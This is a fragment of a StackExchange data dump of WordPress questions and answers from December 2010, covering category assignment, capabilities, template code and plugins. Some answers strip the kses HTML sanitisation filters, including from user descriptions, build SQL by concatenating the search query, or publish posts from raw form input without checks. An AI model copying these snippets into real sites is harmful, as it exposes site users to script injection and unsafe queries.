=&amp;gt; 'publish',&#xA;          'post_category' =&amp;gt; array($post_category)&#xA;&#xA;        );&#xA;&#xA;    $post_id = wp_insert_post($new_post);&#xA;&#xA;    // This will redirect you to the newly created post&#xA;    $post = get_post($post_id);&#xA;    wp_redirect($post-&amp;gt;guid);&#xA;}      &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the &lt;code&gt;html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;&quot; name=&quot;&quot; onsubmit=&quot;return checkformf(this);&quot;&amp;gt;&#xA;&#xA;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;post_title&quot; size=&quot;45&quot; id=&quot;input-title&quot;/&amp;gt;&#xA;&#xA;&amp;lt;textarea rows=&quot;5&quot; name=&quot;post_content&quot; cols=&quot;66&quot; id=&quot;text-desc&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/br&amp;gt;&#xA;&#xA;&#xA;&amp;lt;ul&amp;gt;&amp;lt;select name='cat' id='cat' class='postform' &amp;gt; &#xA;    &amp;lt;option class=&quot;level-0&quot; value=&quot;7,95&quot;&amp;gt;child cat1&amp;lt;/option&amp;gt; &#xA;    &amp;lt;option class=&quot;level-0&quot; value=&quot;7,100&quot;&amp;gt;child cat2&amp;lt;/option&amp;gt; &#xA;    &amp;lt;option class=&quot;level-0&quot; value=&quot;7,101&quot;&amp;gt;child cat3&amp;lt;/option&amp;gt; &#xA;    &amp;lt;option class=&quot;level-0&quot; value=&quot;7,94&quot;&amp;gt;child cat4&amp;lt;/option&amp;gt; &#xA;&amp;lt;/select&amp;gt; &#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;new_post&quot; value=&quot;1&quot;/&amp;gt; &#xA;&#xA;&amp;lt;input class=&quot;subput&quot; type=&quot;submit&quot; name=&quot;submitpost&quot; value=&quot;Post&quot;/&amp;gt; &#xA;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;please let me know if you need more information. thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1043" LastActivityDate="2010-12-15T03:28:21.037" Title="post to subcategory and parent in wp_insert_post" Tags="&lt;functions&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="5382" PostTypeId="2" ParentId="5378" CreationDate="2010-12-15T02:43:50.163" Score="0" ViewCount="" Body="&lt;p&gt;cool weather &lt;a href=&quot;http://wordpress.org/extend/plugins/cool-weather/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/cool-weather/&lt;/a&gt; is a neat one.&#xA;there is also one from weather.com called &lt;code&gt;wp-weather&lt;/code&gt;&#xA;they have &lt;code&gt;widgets&lt;/code&gt; and &lt;code&gt;short codes&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1043" LastActivityDate="2010-12-15T02:43:50.163" />
  <row Id="5383" PostTypeId="2" ParentId="5378" CreationDate="2010-12-15T03:19:29.973" Score="1" ViewCount="" Body="&lt;p&gt;I used &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-forecast/&quot; rel=&quot;nofollow&quot;&gt;WP-Forecast&lt;/a&gt; on site a few months back. It had accurate weather data for outside of the US (I'm in Australia), a generous amount of settings and customisations and the front-end was easy to manipulate.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2010-12-15T03:19:29.973" />
  <row Id="5384" PostTypeId="1" AcceptedAnswerId="5406" CreationDate="2010-12-15T03:22:46.267" Score="0" ViewCount="156" Body="&lt;p&gt;I'm trying to add the post content in the header but for some reason it doesn't show anything. However it does retrieve the post content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php the_title(); ?&amp;gt;&#xA;&amp;lt;?php the_content(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried  and  and none showed anything...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can archive this? I really need it for the site's navigation.&#xA;Thanks&lt;/p&gt;&#xA;" LastActivityDate="2010-12-15T13:35:21.593" Title="How do I show current post content in the header?" Tags="&lt;php&gt;&lt;functions&gt;&lt;html&gt;" AnswerCount="2" />
  <row Id="5385" PostTypeId="2" ParentId="5384" CreationDate="2010-12-15T03:27:48.557" Score="0" ViewCount="" Body="&lt;p&gt;One way to do it would be to use a mini loop, or a multiple loop. &lt;a href=&quot;http://codex.wordpress.org/The_Loop#Multiple_Loops&quot; rel=&quot;nofollow&quot;&gt;The Codex explains how to do this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2010-12-15T03:27:48.557" />
  <row Id="5386" PostTypeId="2" ParentId="5381" CreationDate="2010-12-15T03:28:21.037" Score="2" ViewCount="" Body="&lt;p&gt;The problem is, you can't make an array like that in PHP. Trying to cast a string that contains a comma separated list as an array just produces an array with a single value--your comma separated string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to use &lt;a href=&quot;http://php.net/manual/en/function.explode.php&quot; rel=&quot;nofollow&quot;&gt;php's explode function&lt;/a&gt; to create the array. It takes a string an splits it into a bona fide array based on an arbitrary delimiter (in your case, we'll use a comma).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_POST['new_post']) == '1') {&#xA;    $post_title = $_POST['post_title'];&#xA;    $arr_post_category = explode(',',$_POST['cat']); // EXPLODE!&#xA;    $post_content = $_POST['post_content'];&#xA;    $new_post = array(&#xA;          'ID' =&amp;gt; '',&#xA;          'post_author' =&amp;gt; $user-&amp;gt;ID, &#xA;          'post_content' =&amp;gt; $post_content,&#xA;          'post_title' =&amp;gt; $post_title,&#xA;          'post_status' =&amp;gt; 'publish',&#xA;          'post_category' =&amp;gt; $arr_post_category // NOW IT'S ALREADY AN ARRAY&#xA;&#xA;        );&#xA;&#xA;    $post_id = wp_insert_post($new_post);&#xA;&#xA;    // This will redirect you to the newly created post&#xA;    $post = get_post($post_id);&#xA;    wp_redirect($post-&amp;gt;guid);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-15T03:28:21.037" CommentCount="1" />
  <row Id="5387" PostTypeId="1" AcceptedAnswerId="5389" CreationDate="2010-12-15T04:24:13.397" Score="0" ViewCount="123" Body="&lt;p&gt;As above&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background info&lt;br&gt;&#xA;Main problem: users pay to post an ad on the website&#xA;Solution: they sign up as contributors and I publish their posts once the payment is received, after that they can make any edit to their posts&lt;/p&gt;&#xA;" OwnerUserId="1861" LastActivityDate="2010-12-15T05:07:57.497" Title="How do I let contributors edit their posts after being approved once?" Tags="&lt;users&gt;&lt;roles&gt;&lt;permissions&gt;" AnswerCount="1" />
  <row Id="5388" PostTypeId="1" CreationDate="2010-12-15T04:25:08.610" Score="0" ViewCount="50" Body="&lt;p&gt;I am a newbie but I have experience with other cms systems. Let's say we have a page called Paper Airplane Instrucutions and my client wants to add some text, a picture, some more text, and then a photo gallery on the page. Then we create another page called Paper Hat Instructions and the client wants to add just text and a video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want both pages to use the same template. But I want my client to easily add these different types of content using either posts with custom post types or some other method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my cms, I created custom components, a text component, a video component, a gallery component, that clients can add and configure and stack on top of each other like legos to construct a web page with these different content blocks. They can reorder the blocks if they want. Then they can create another page and add blocks to that page but perhaps in a different order. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone advise me on a plugin or strategy to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-15T05:30:05.137" Title="Heterogeneous content on a page" Tags="&lt;cms&gt;" AnswerCount="1" />
  <row Id="5389" PostTypeId="2" ParentId="5387" CreationDate="2010-12-15T05:07:57.497" Score="1" ViewCount="" Body="&lt;p&gt;There is a capability in WordPress called &quot;edit_published_posts&quot;. Contributors do not have this capability by default (refer to the &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#edit_published_posts&quot; rel=&quot;nofollow&quot;&gt;Roles and Capabilities Codex page&lt;/a&gt; to see the out-of-box role configurations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add this capability to the contributor role with code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get the &quot;contributor&quot; role object&#xA;$obj_existing_role = get_role( 'contributor' );&#xA;&#xA;// add the &quot;organize_gallery&quot; capability&#xA;$obj_existing_role-&amp;gt;add_cap( 'edit_published_posts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code should only need to be run once--perhaps on activation of a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not comfortable with code, you can use the &lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role Scoper plugin&lt;/a&gt; (or something like it) to add this capability to the contributor role.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-15T05:07:57.497" CommentCount="1" />
  <row Id="5390" PostTypeId="1" CreationDate="2010-12-15T05:29:19.810" Score="0" ViewCount="102" Body="&lt;p&gt;I am trying to make TimThumb work on my domain. After having tried and tested every step on this &lt;a href=&quot;http://www.thebuzzmedia.com/tip-for-timthumb-thumb-php-not-generating-thumbnails&quot; rel=&quot;nofollow&quot;&gt;troubleshooting guide&lt;/a&gt;, it finally came down to folder permissions. The thumbnail cache is owned by my &lt;code&gt;accountname&lt;/code&gt;, while the processes trying to access the folder (i.e. WordPress) are &lt;code&gt;nobody&lt;/code&gt;. The solution suggested by the author of the linked post is to &lt;code&gt;chown&lt;/code&gt; the folder to nobody.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the implications of this? Will it affect how WordPress works or my FTP?&lt;/p&gt;&#xA;" OwnerUserId="1606" LastActivityDate="2011-01-13T12:37:46.777" Title="Of thumbnails and folder permissions" Tags="&lt;errors&gt;&lt;post-thumbnails&gt;&lt;permissions&gt;" AnswerCount="1" />
  <row Id="5391" PostTypeId="2" ParentId="5388" CreationDate="2010-12-15T05:30:05.137" Score="1" ViewCount="" Body="&lt;p&gt;Create a custom post type for Paper Airplane Instructions and one for Paper Hat Instructions and just use the same template by duplicating it for each one. There are plugins that do this ( like custom post type UI) but it is way better to learn the code and just add it to your functions.php.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Custom_Post_Types&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Custom_Post_Types&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template hierarchy is essential reading, &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posts and pages come with what your asking for by default ( text + media (vid/photo/gallery/etc) but they can be extended with Custom fields ( &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Custom_Fields&lt;/a&gt; ) and by defining custom widget &quot;areas&quot;, or just writing whatever php/html/css/etc in the customized template file.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-12-15T05:30:05.137" CommentCount="1" />
  <row Id="5393" PostTypeId="1" AcceptedAnswerId="17542" CreationDate="2010-12-15T05:57:27.940" Score="0" ViewCount="107" Body="&lt;p&gt;Is there a plug-in that can incorporate a StackExchange-like flag system on a WordPress blog? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then registered users can flag an article/post so that the admin or moderator can review the post later and decide whether the post should be published or not.&lt;/p&gt;&#xA;" OwnerUserId="958" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-12-15T15:09:52.990" LastActivityDate="2011-05-18T04:14:53.550" Title="StackExchange-like flag system for WordPress" Tags="&lt;plugins&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="5394" PostTypeId="1" AcceptedAnswerId="6073" CreationDate="2010-12-15T06:39:42.130" Score="1" ViewCount="471" Body="&lt;p&gt;I would very much like to know if there is a widget that exists that would let me show the current page's associated taxonomy terms (preferably hierarchically) in a widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the current post has a Taxonomy term &quot;Tom Hanks&quot; in the Taxonomy of &quot;Actor&quot;, the widget would list &quot;Actor&quot; then &quot;Tom Hanks&quot;. Even though there are many other actors in the taxonomy of &quot;Actors&quot;, only the ones from the current page, are listed.&lt;/p&gt;&#xA;" OwnerUserId="1990" LastEditorUserId="1990" LastEditorDisplayName="" LastEditDate="2010-12-15T06:46:02.107" LastActivityDate="2010-12-29T11:00:34.620" Title="List a current posts' taxonomy terms in a widget in Wordpress" Tags="&lt;taxonomy&gt;&lt;widgets&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5395" PostTypeId="1" AcceptedAnswerId="5417" CreationDate="2010-12-15T06:40:17.150" Score="0" ViewCount="144" Body="&lt;p&gt;Is it possible to bring &lt;a href=&quot;http://en.wikipedia.org/wiki/IntelliSense&quot; rel=&quot;nofollow&quot;&gt;intellisense&lt;/a&gt; (autocomplete) in the search box of the website????&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-12-15T16:06:10.587" LastActivityDate="2010-12-15T16:06:10.587" Title="intellisense in wp search" Tags="&lt;search&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="5397" PostTypeId="2" ParentId="5378" CreationDate="2010-12-15T06:53:03.233" Score="0" ViewCount="" Body="&lt;p&gt;What do you actually need plugin to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interconnect IT folks had recently released pretty cool &lt;a href=&quot;http://interconnectit.com/1474/wordpress-weather-widget/&quot; rel=&quot;nofollow&quot;&gt;Weather Widget&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-15T06:53:03.233" CommentCount="1" />
  <row Id="5398" PostTypeId="2" ParentId="5362" CreationDate="2010-12-15T07:17:38.823" Score="3" ViewCount="" Body="&lt;p&gt;Those are not really arguments like for YouTube, more of arguments for WordPress itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to handle it would be to access your argument later inside of a filter and modify HTML output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pass in arguments array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_oembed_get( 'http://www.youtube.com/watch?v=', array( 'autoplay' =&amp;gt; 1 ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('oembed_result','oembed_result', 10, 3);&#xA;&#xA;function oembed_result($html, $url, $args) {&#xA;&#xA;    // $args includes custom argument&#xA;    // modify $html as you need&#xA;&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-12-15T07:33:48.063" LastActivityDate="2010-12-15T07:33:48.063" />
  <row Id="5399" PostTypeId="2" ParentId="5394" CreationDate="2010-12-15T09:40:57.567" Score="0" ViewCount="" Body="&lt;p&gt;if i am not wrong you want something like this:&#xA;there is a plugin which displays the custom taxonomy which is there selected for the corresponding post&#xA;but it will display below the post not in the widget area&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can have a look at it&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/taxonomy-terms-list/&quot; rel=&quot;nofollow&quot;&gt;Taxonomy terms List&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this will display all the terms of taxonomies which you have selected&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2010-12-15T09:40:57.567" CommentCount="4" />
  <row Id="5400" PostTypeId="1" AcceptedAnswerId="17292" CreationDate="2010-12-15T09:53:00.660" Score="2" ViewCount="166" Body="&lt;p&gt;Just a quick question that might help a tad bit with security. I noticed that the readme.html  file has the version number listed. It reappears after each upgrade and so do the licence.txt, and wp-config-sample.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a easy way to have WordPress auto remove these files after an upgrade?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already block the version number from showing in the meta tags, rss feeds, atom, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this type of security isn't exactly &lt;em&gt;that&lt;/em&gt; much helpful, but just thought it might be a tiny start. I heard that people can simply check the version of jQuery that is included in WP-includes and cross reference which version of WP shipped it.&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2011-05-15T12:22:53.167" Title="Prevent access or auto-delete readme.html, license.txt, wp-config-sample.php" Tags="&lt;security&gt;&lt;wp-config&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5401" PostTypeId="1" AcceptedAnswerId="5403" CreationDate="2010-12-15T10:15:06.663" Score="1" ViewCount="158" Body="&lt;p&gt;i have a piece of code which is helped to display the description of custom taxonomies&#xA;but i want to put &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; tag for the title of description, but that description box doesn't takes html tags,&#xA;so how can i implement html tags to my description&#xA;here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;featured post&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;?php &#xA;            if ( is_tax( 'location' ) ) {&#xA;                echo term_description();&#xA;            }&#xA;            elseif (is_tax('mba_courses')){&#xA;                echo term_description();&#xA;            }&#xA;            elseif (is_tax('duration')){&#xA;                echo term_description();&#xA;            }&#xA;            ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2010-12-15T11:55:48.957" Title="term_description help" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="5402" PostTypeId="2" ParentId="5400" CreationDate="2010-12-15T10:37:46.627" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_action('core_upgrade_preamble','my_function_to_delete_files');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit : you can also try these&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('upgrader_pre_install','my_function_to_delete_files');&#xA;add_action('upgrader_ppost_install','my_function_to_delete_files');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1555" LastEditorUserId="1555" LastEditorDisplayName="" LastEditDate="2011-05-14T12:40:10.497" LastActivityDate="2011-05-14T12:40:10.497" CommentCount="3" />
  <row Id="5403" PostTypeId="2" ParentId="5401" CreationDate="2010-12-15T11:05:24.863" Score="2" ViewCount="" Body="&lt;p&gt;H1 tags around the descriptions?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;h1&amp;gt;' . term_description() . '&amp;lt;/h1&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;UPDATE: Add link to plugin to allow HTML in term descriptions.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WordPress Plugins - Allow HTML in Category Descriptions&lt;/strong&gt;&lt;br&gt;&#xA;This will work with custom taxonomies to.&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/allow-html-in-category-descriptions/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/allow-html-in-category-descriptions/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Copy of the appropriate code&lt;/strong&gt;&lt;br&gt;&#xA;For those of you that want to simply see how it's done.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filters = array('pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description');&#xA;foreach ( $filters as $filter ) {&#xA;    remove_filter($filter, 'wp_filter_kses');&#xA;}&#xA;&#xA;foreach ( array( 'term_description' ) as $filter ) {&#xA;    remove_filter( $filter, 'wp_kses_data' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-15T11:55:48.957" LastActivityDate="2010-12-15T11:55:48.957" CommentCount="4" />
  <row Id="5404" PostTypeId="2" ParentId="2623" CreationDate="2010-12-15T11:48:39.450" Score="3" ViewCount="" Body="&lt;p&gt;I would recommend the &lt;strong&gt;Search Everything&lt;/strong&gt; plugin too, but if you want to implement this using WP's search function, here's the code I'm using in my Atom theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// search all taxonomies, based on: http://projects.jesseheap.com/all-projects/wordpress-plugin-tag-search-in-wordpress-23&#xA;&#xA;function atom_search_where($where){&#xA;  global $wpdb;&#xA;  if (is_search())&#xA;    $where .= &quot;OR (t.name LIKE '%&quot;.get_search_query().&quot;%' AND {$wpdb-&amp;gt;posts}.post_status = 'publish')&quot;;&#xA;  return $where;&#xA;}&#xA;&#xA;function atom_search_join($join){&#xA;  global $wpdb;&#xA;  if (is_search())&#xA;    $join .= &quot;LEFT JOIN {$wpdb-&amp;gt;term_relationships} tr ON {$wpdb-&amp;gt;posts}.ID = tr.object_id INNER JOIN {$wpdb-&amp;gt;term_taxonomy} tt ON tt.term_taxonomy_id=tr.term_taxonomy_id INNER JOIN {$wpdb-&amp;gt;terms} t ON t.term_id = tt.term_id&quot;;&#xA;  return $join;&#xA;}&#xA;&#xA;function atom_search_groupby($groupby){&#xA;  global $wpdb;&#xA;&#xA;  // we need to group on post ID&#xA;  $groupby_id = &quot;{$wpdb-&amp;gt;posts}.ID&quot;;&#xA;  if(!is_search() || strpos($groupby, $groupby_id) !== false) return $groupby;&#xA;&#xA;  // groupby was empty, use ours&#xA;  if(!strlen(trim($groupby))) return $groupby_id;&#xA;&#xA;  // wasn't empty, append ours&#xA;  return $groupby.&quot;, &quot;.$groupby_id;&#xA;}&#xA;&#xA;add_filter('posts_where','atom_search_where');&#xA;add_filter('posts_join', 'atom_search_join');&#xA;add_filter('posts_groupby', 'atom_search_groupby');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's based on the Tag-Search plugin: &lt;a href=&quot;http://projects.jesseheap.com/all-projects/wordpress-plugin-tag-search-in-wordpress-23&quot; rel=&quot;nofollow&quot;&gt;http://projects.jesseheap.com/all-projects/wordpress-plugin-tag-search-in-wordpress-23&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-15T11:48:39.450" CommentCount="2" />
  <row Id="5405" PostTypeId="1" CreationDate="2010-12-15T13:11:37.440" Score="0" ViewCount="38" Body="&lt;p&gt;I was wondering what you guys are doing to dress up your blogs ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any plugins that add some cool effects like snow flakes, maybe greeting popup, footer, music, header rotation, list of new years resolution, wishlist widget display .... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering what you doing to dress up your blog around holidays, maybe we can compile a nice list together - but god forbid - do them all together in one blog :P &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for suggestions.&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-12-15T15:04:11.967" Title="Suggestions for Dressing up blog for the holidays" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="5406" PostTypeId="2" ParentId="5384" CreationDate="2010-12-15T13:35:21.593" Score="1" ViewCount="" Body="&lt;p&gt;The simplest solution is to call the_post() to setup the post data before calling the template functions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(have_posts()) : the_post(); ?&amp;gt;&#xA;  //your header code here&#xA;  &amp;lt;?php rewind_posts(); //to set the post pointer back to the beginning ?&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;  //alternative header code here&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-12-15T13:35:21.593" CommentCount="1" />
  <row Id="5407" PostTypeId="1" AcceptedAnswerId="5447" CreationDate="2010-12-15T13:37:41.200" Score="0" ViewCount="700" Body="&lt;p&gt;Hey all, i'm using the plugin &lt;a href=&quot;http://www.enthropia.com/labs/wp-lifestream/&quot; rel=&quot;nofollow&quot;&gt;wp-Lifestream&lt;/a&gt; in its 0.99.9.6 version (the 0.99.9.8-BETAdoesnt work for me) and i was wondering if it was possible to associate a fb page feed rather than a profile feed. So far i didnt find any answer to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-30T16:45:17.983" LastActivityDate="2011-01-11T22:08:29.847" Title="How to grab facebook page feed?" Tags="&lt;plugins&gt;&lt;feed&gt;&lt;facebook&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="5408" PostTypeId="2" ParentId="5276" CreationDate="2010-12-15T13:54:22.583" Score="0" ViewCount="" Body="&lt;p&gt;Looks like I was just being too eager!.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's now available for download. See here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.redmondpie.com/wordpress-for-windows-phone-7-is-now-available-for-download/&quot; rel=&quot;nofollow&quot;&gt;http://www.redmondpie.com/wordpress-for-windows-phone-7-is-now-available-for-download/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1940" LastActivityDate="2010-12-15T13:54:22.583" />
  <row Id="5409" PostTypeId="2" ParentId="5405" CreationDate="2010-12-15T14:15:14.650" Score="1" ViewCount="" Body="&lt;p&gt;My suggestion is don't [over]do it. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;US-based folks tend to forget their holidays aren't worldwide. It gets annoying fast to get blasted with tons of holiday-ish stuff for holiday you don't care about from every other site (not even mention tons of offers to promote stuff that start to pour into email).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I don't dress blog because I won't do to my readers something I find annoying when done to myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course there is nothing wrong with &lt;strong&gt;some&lt;/strong&gt; holiday elements... But there is a lot of wrong with giant snowflakes flying across screen and spiking your CPU load.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-15T14:15:14.650" />
  <row Id="5410" PostTypeId="2" ParentId="5276" CreationDate="2010-12-15T14:21:25.237" Score="2" ViewCount="" Body="&lt;p&gt;Official page: &lt;a href=&quot;http://windowsphone.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;http://windowsphone.wordpress.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was kinda hard to find, I basically guessed URL in few tries in analogy to android.wordpress.org :)&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-15T14:21:25.237" CommentCount="1" />
  <row Id="5412" PostTypeId="2" ParentId="5405" CreationDate="2010-12-15T15:04:11.967" Score="0" ViewCount="" Body="&lt;h1&gt;Themes&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;Free Themes Directory&lt;/a&gt; at WordPress.org just updated its list of featured themes, and now includes two different Christmas-related themes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/red-christmas&quot; rel=&quot;nofollow&quot;&gt;Red Christmas&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/this-christmas&quot; rel=&quot;nofollow&quot;&gt;This Christmas&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Plug-ins&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The most commonly used holiday/Winter plug-in is the snow plug-in featured on WordPress.com: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/snowstorm/&quot; rel=&quot;nofollow&quot;&gt;Snow Storm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are also 35 different plug-ins in the repository that match a search for &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=christmas&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;Christmas&lt;/a&gt;.&quot;  I tried looking for anything freely available for other holidays, but I have yet to find anything ... so if you want to write a plug-in to celebrate Hanukkah, I think it would be very welcome! :-)&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-15T15:04:11.967" />
